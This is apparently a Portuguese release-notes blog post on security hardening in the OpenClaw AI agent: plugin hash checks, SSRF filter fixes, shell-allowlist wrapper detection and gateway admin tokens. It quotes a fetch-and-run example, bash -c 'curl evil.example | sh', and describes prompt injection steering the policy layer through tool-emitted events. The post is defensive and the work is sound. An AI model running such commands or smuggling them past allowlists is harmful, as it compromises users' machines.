A maior parte desse conjunto de releases não vai aparecer num screenshot. Dez dias, oito releases, e o grosso do diff está em lugares que você nunca olha a menos que algo dê errado — o plugin loader, o resolver de URL da ferramenta de browser, os endpoints de config do gateway, as tabelas de allowlist, o manifest de dependências. Trabalho de segurança é silencioso por design. Esse post é a versão longa do silêncio.
Se você roda OpenClaw num laptop que também tem suas SSH keys, seu gerenciador de senhas, sua declaração de imposto inacabada, e um browser logado em tudo — continua lendo. Esse é o conjunto de releases que mudou no que a lagosta tem permissão de tocar.
Plugins agora verificam, não só baixam
Antes do 4.7, instalar um plugin do registry fazia o que você esperaria: puxar o arquivo, descompactar, rodar. O registry em si era confiável; o arquivo não era reverificado. Se o CDN do registry fosse trocado no meio do caminho, ou um mirror fosse envenenado, ou alguém interceptasse na borda, a lagosta felizmente instalaria o que viesse de volta.
O 4.7 fecha isso. Cada arquivo de plugin agora fica fixado a um hash SHA-256 no momento da publicação, e o instalador se recusa a descompactar qualquer coisa cujos bytes não batam. Se você escreve plugins, o fluxo openclaw plugin publish agora emite o hash no manifest automaticamente — você não precisa fazer nada. Se você instala plugins, o primeiro sinal de que algo está errado é um erro limpo em vez de uma instalação silenciosa.
O follow-up no 4.9 estendeu a mesma verificação para updates de plugin, que vinham silenciosamente pulando o check com base no fato de que a versão anterior já tinha passado. Esse é exatamente o tipo de premissa que atacantes procuram. Foi embora.
O filtro SSRF da ferramenta de browser, três vezes seguidas
A ferramenta de browser deixa a lagosta buscar páginas, seguir links, rodar pequenas quantidades de JavaScript, e devolver o que encontra. É uma das coisas mais úteis no produto e também uma das mais perigosas — qualquer coisa que busca URLs em nome de um LLM pode ser convencida a buscar as URLs erradas. Server-Side Request Forgery (SSRF) é o nome educado para esse modo de falha.
Nesses dez dias, o filtro SSRF foi reescrito três vezes.
O 4.7 apertou o check da allowlist de hosts para rodar depois da resolução de DNS, não antes. A versão antiga comparava a string do hostname contra a allowlist, e depois resolvia. Isso significava que um hostname que parecesse externo mas resolvesse para 127.0.0.1 via um registro DNS controlado podia escapar. Agora o IP resolvido é checado contra a denylist de ranges privados e loopback, e se cair dentro de um, a request é recusada independente de como o nome parecia.
O 4.9 adicionou cobertura para IPv6. A passagem anterior cobria 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8, e link-local — tudo IPv4. Os equivalentes IPv6 (fc00::/7, fe80::/10, ::1) tecnicamente eram cobertos pelo fallback "não está na allowlist" mas nunca tinham sido testados de ponta a ponta. O 4.9 transforma eles em recusas de primeira classe e adiciona a matriz de testes.
O 4.10 fechou uma brecha no rastreamento de redirects. Se a primeira URL passasse pelo filtro mas emitisse um 302 para um IP privado, o redirect estava sendo seguido sem reverificação. Cada hop numa cadeia de redirect agora é filtrado independentemente. A ferramenta de browser vai seguir um redirect de um host público para outro host público o dia inteiro; ela não vai seguir um de um host público para 169.254.169.254, que é o endereço que importa se você está rodando isso dentro de uma instância de cloud.
O 4.14 é o que vai causar uma quebra real de compatibilidade para algumas pessoas. Ele desativa URLs file:// completamente da superfície da ferramenta de browser. Ler arquivos locais via ferramenta de browser era um efeito colateral não documentado em que um punhado de workflows tinha começado a se apoiar, e estava errado: leitura de arquivo local pertence à ferramenta de file, que tem sua própria história de sandbox. Se você estava usando browser.open('file://...') como atalho, precisa mudar para file.read e aceitar a allowlist que essa ferramenta aplica no seu setup.
Um novo CLI para auditar o que a lagosta pode rodar
O 4.10 entrega openclaw exec-policy — um CLI somente leitura que despeja a política efetiva de execução de shell do workspace atual. Ele te diz, em uma tela, quais comandos estão na allowlist, quais são negados, quais exigem confirmação, e qual a fonte de cada regra (config do usuário, config do workspace, plugin, default).
Essa é a coisa para rodar depois de instalar um plugin novo. Plugins podem registrar comandos de shell; a maioria deles está bem; alguns silenciosamente alargam o que a lagosta pode executar. Antes do 4.10 não havia uma superfície única para ver o resultado combinado — você tinha que ler vários arquivos de config e raciocinar sobre precedência. Agora é um comando só e a saída é estável o bastante para encanar dentro de um teste.
A mudança companheira no 4.12 é menor mas maldosa: a camada de execução agora detecta invocações de wrapper de shell que tentam contrabandear comandos pela allowlist. O padrão clássico é bash -c 'curl evil.example | sh' quando bash é permitido e curl não. A detecção de wrapper marca a forma -c, desempacota a string do comando interno, e roda o comando interno pela allowlist como se tivesse sido chamado diretamente. Se o comando interno teria sido negado, o wrapper externo é negado também.
Endpoints de config do gateway ganharam guardas
Se você roda OpenClaw em modo gateway — o modo onde múltiplos clientes compartilham uma instância de lagosta — o gateway expõe uma pequena API admin para ler e escrever config do servidor. O 4.7 e o 4.14 apertaram essa ponta.
O 4.7 separou config.apply (substituir a config inteira) e config.patch (mesclar um update parcial). Os dois existiam antes mas compartilhavam um caminho de código, e a semântica de merge era subespecificada o bastante para você poder deletar uma admin key aninhada fazendo patch num campo irmão. A separação dá a cada verbo seu próprio validador. Patches agora são merges profundos de verdade, com deleção explícita exigindo o sentinel $delete; applies exigem uma config completa e válida ou a request é recusada.
O 4.14 adicionou exigência de token assinado nos dois endpoints quando o gateway está ligado a qualquer coisa que não seja localhost. Se você estava rodando o gateway numa máquina de dev com --host 0.0.0.0 e contando com segmentação de rede para manter as pessoas fora — o gateway agora se recusa a iniciar nessa configuração a menos que você também passe --admin-token ou explicitamente opte por sair com --admin-insecure. O nome da flag é deliberadamente feio. Você deveria ter que digitar a palavra "insecure" para conseguir o comportamento antigo de volta.
Credenciais que eram acidentalmente dados de template
O 4.12 corrigiu uma coisa feia que existia há tempos: o arquivo .env.example que vem com workspaces novos continha API keys placeholder que pareciam reais o suficiente para que pelo menos um usuário tivesse commitado elas num repo público pensando que eram dummies. Eram dummies — os valores eram todos strings de zero e inválidos em qualquer provider — mas tinham o formato de credenciais e os linters que checamos as reportavam como vazadas. O novo .env.example usa tokens obviamente falsos (REPLACE_ME_OR_I_WILL_FAIL) e o fluxo openclaw init se recusa a escrever um arquivo .env contendo qualquer um desses valores sentinel.
Coisa pequena. Pouca consequência. Mas o custo de corrigir foi uma tarde e o custo de não corrigir foi um incidente público a mais que teríamos que explicar.
Limites de allowlist, apertados em silêncio
Ao longo de cada release no conjunto, as tabelas de allowlist que ficam entre a lagosta e o mundo lá fora ficaram mais apertadas em formas pequenas e específicas:
- •4.5: o diretório de saída da ferramenta de música agora padroniza para
./generated/music, não mais para onde quer que o workspace ache que "output" significa. - •4.7: as fontes de import de memória são restritas a
file://,https://, e URLs de provider específicas. O código antigo aceitava qualquer scheme de URL que ourllibsoubesse parsear, o que incluía algumas surpreendentes. - •4.9: o caminho de upload da ferramenta de geração de vídeo não aceita mais paths absolutos fora da raiz do workspace.
- •4.10: manifests de plugin não podem mais declarar
*como padrão de allowlist. Eles têm que nomear domínios ou métodos específicos. - •4.14: o cliente dedicado do provider Codex respeita uma allowlist separada da unificada, então apertar Codex não afrouxa acidentalmente todo o resto.
Nenhuma dessas individualmente é uma história. Juntas, elas movem o raio de explosão na direção certa.
Confiança nos eventos de runtime, rebaixada
Uma mudança mais sutil que atravessa 4.7, 4.9, e 4.14: eventos que vêm do runtime (invocações de ferramenta, saídas de modelo, callbacks de plugin) não são mais tratados como input confiável para o motor de política. Antes, uma ferramenta que emitia um evento estruturado podia influenciar decisões posteriores de allowlist através de dados que ela controlava — o clássico modo de falha "prompt injection toca a camada de política". Eventos de runtime agora passam por um passo de sanitização separado antes de poderem afetar qualquer avaliação de política depois, e o motor de política trata qualquer campo cuja proveniência é "runtime" como contaminado a menos que um operador humano tenha explicitamente fixado.
Na prática isso significa que alguns workflows de borda que dependiam da própria saída de ferramenta da lagosta para estreitar o próprio comportamento dela vão precisar ser reescritos. A forma pretendida de estreitar comportamento agora é escrever uma regra de política, não fazer uma ferramenta emitir uma dica. Se você bater nisso, o CLI exec-policy do 4.10 é a ferramenta de diagnóstico.
Auditoria de dependências
O 4.9 e o 4.14 ambos rodaram passagens completas de cargo audit e npm audit e bumparam toda dependência transitiva com um advisory aberto. Nada na lista estava sendo explorado contra OpenClaw, até onde conseguimos ver; isso é manutenção, não resposta a incidente. Os bumps são chatos de propósito.
O único bump não chato: a biblioteca de WebSocket usada pelo gateway subiu uma versão major no 4.14, o que mudou como close frames reportam o reason code. Se você tinha código lendo event.reason no sinal de disconnect do socket do gateway, agora é uma string em vez de um buffer. Essa é uma breaking change. Está chamada no changelog do 4.14.
O sinal novo: auditoria de segurança assistida por AI
A última coisa que vale nomear — o 4.14 introduziu um workflow interno onde um segundo modelo revisa diffs relevantes para segurança antes deles entrarem. Ele não bloqueia merges; ele deixa comentários. Nesse conjunto, ele pegou duas coisas que uma review humana tinha deixado passar: a brecha de IPv6 na reescrita de SSRF do 4.9 (que foi corrigida pré-merge) e a ambiguidade do sentinel $delete na separação do config.patch do 4.7 (que virou o validador explícito em vez do implícito).
Não queremos exagerar na reivindicação. Um segundo modelo não substitui um segundo humano. Mas é uma segunda passagem, e em dez dias de trabalho de segurança que se move rápido, foi a passagem que pegou as duas coisas que teriam ido pra prod do contrário. Ela fica.
A versão curta
Se você só pegar uma coisa desse post: rode openclaw update para chegar no 4.14, depois rode openclaw exec-policy uma vez para ver o que a lagosta pode realmente fazer na sua máquina. Se a saída te surpreender, aperte. O ponto inteiro dos últimos dez dias é que você pode.
E se você é uma das pessoas rodando o gateway em --host 0.0.0.0 sem um admin token — por favor, vai consertar isso antes de rodar openclaw update, porque o 4.14 vai se recusar a iniciar até você consertar, e a gente prefere que você leia esse post primeiro a você ler a mensagem de erro e assumir que algo está quebrado.
